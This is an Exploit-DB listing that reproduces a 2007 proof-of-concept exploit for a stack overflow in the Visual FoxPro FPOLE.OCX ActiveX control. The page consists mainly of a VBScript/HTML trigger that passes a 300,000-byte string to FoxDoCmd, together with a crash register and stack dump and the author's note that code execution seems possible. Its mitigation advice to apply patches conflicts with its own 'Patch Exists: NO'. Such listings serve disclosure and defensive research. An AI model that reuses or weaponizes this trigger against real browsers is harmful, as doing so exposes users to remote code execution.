Microsoft Visual FoxPro 6.0 fpole 1.0 Type Library (FPOLE.OCX v. 6.0.8450.0) Remote Stack Overflow

vendor:

Microsoft Visual FoxPro

by:

shinnai

CVSS

CRITICAL

Remote Stack Overflow

CWE

Product Name: Microsoft Visual FoxPro

Affected Version From: Microsoft Visual FoxPro 6.0 fpole 1.0 Type Library (FPOLE.OCX v. 6.0.8450.0)

Affected Version To:

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested: Windows XP Professional SP2 with Internet Explorer 7

2007

Microsoft Visual FoxPro 6.0 fpole 1.0 Type Library (FPOLE.OCX v. 6.0.8450.0) Remote Stack Overflow

This exploit takes advantage of a remote stack overflow vulnerability in Microsoft Visual FoxPro 6.0 fpole 1.0 Type Library (FPOLE.OCX v. 6.0.8450.0). By sending a specially crafted request, an attacker can trigger a stack overflow and potentially execute arbitrary code on the target system.

Mitigation:

Apply the latest patches and updates provided by Microsoft to address this vulnerability.

Source

Exploit-DB raw data:

<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-----------------------------------------------------------------------------------------------------------
 <b>0-day: Microsoft Visual FoxPro 6.0 fpole 1.0 Type Library (FPOLE.OCX v. 6.0.8450.0) Remote Stack Overflow</b>
 url: http://www.microsoft.com

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7

 This control is marked as:
 <b>RegKey Safe for Script: Falso
 RegKey Safe for Init: Falso
 Implements IObjectSafety: Vero
 IDisp Safe:  Safe for untrusted: caller  
 KillBitSet: Falso</b>

 This is a dump:
 <b>registers:

 EAX 000287C4
 ECX 017923C8
 EDX 017FC60D ASCII "bbbbbbbbbbbb..."
 EBX 04E51ED8
 ESP 017FC3C0
 EBP 017FC5FC
 ESI 000493E1
 EDI 7C80BDB6 kernel32.lstrlenA

 EIP 04E46807 FPOLE.04E46807
 
 *********************************************

 stack:
 [...]
 017FC60C  |62626262
 017FC610  |62626262
 017FC614  |62626262
 017FC618  |62626262
 017FC61C  |62626262
 [...]</b>
 
 so I think code execution is possible even if, in this moment of my life, I really have no time to
 investigate :)
-----------------------------------------------------------------------------------------------------------

<object classid='clsid:EF28418F-FFB2-11D0-861A-00A0C903A97F' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language = 'vbscript'>
 Sub tryMe()
  buff = String(300000, "b")
  test.FoxDoCmd buff, 1
 End Sub
</script>
</span></span>
</code></pre>

# milw0rm.com [2007-09-06]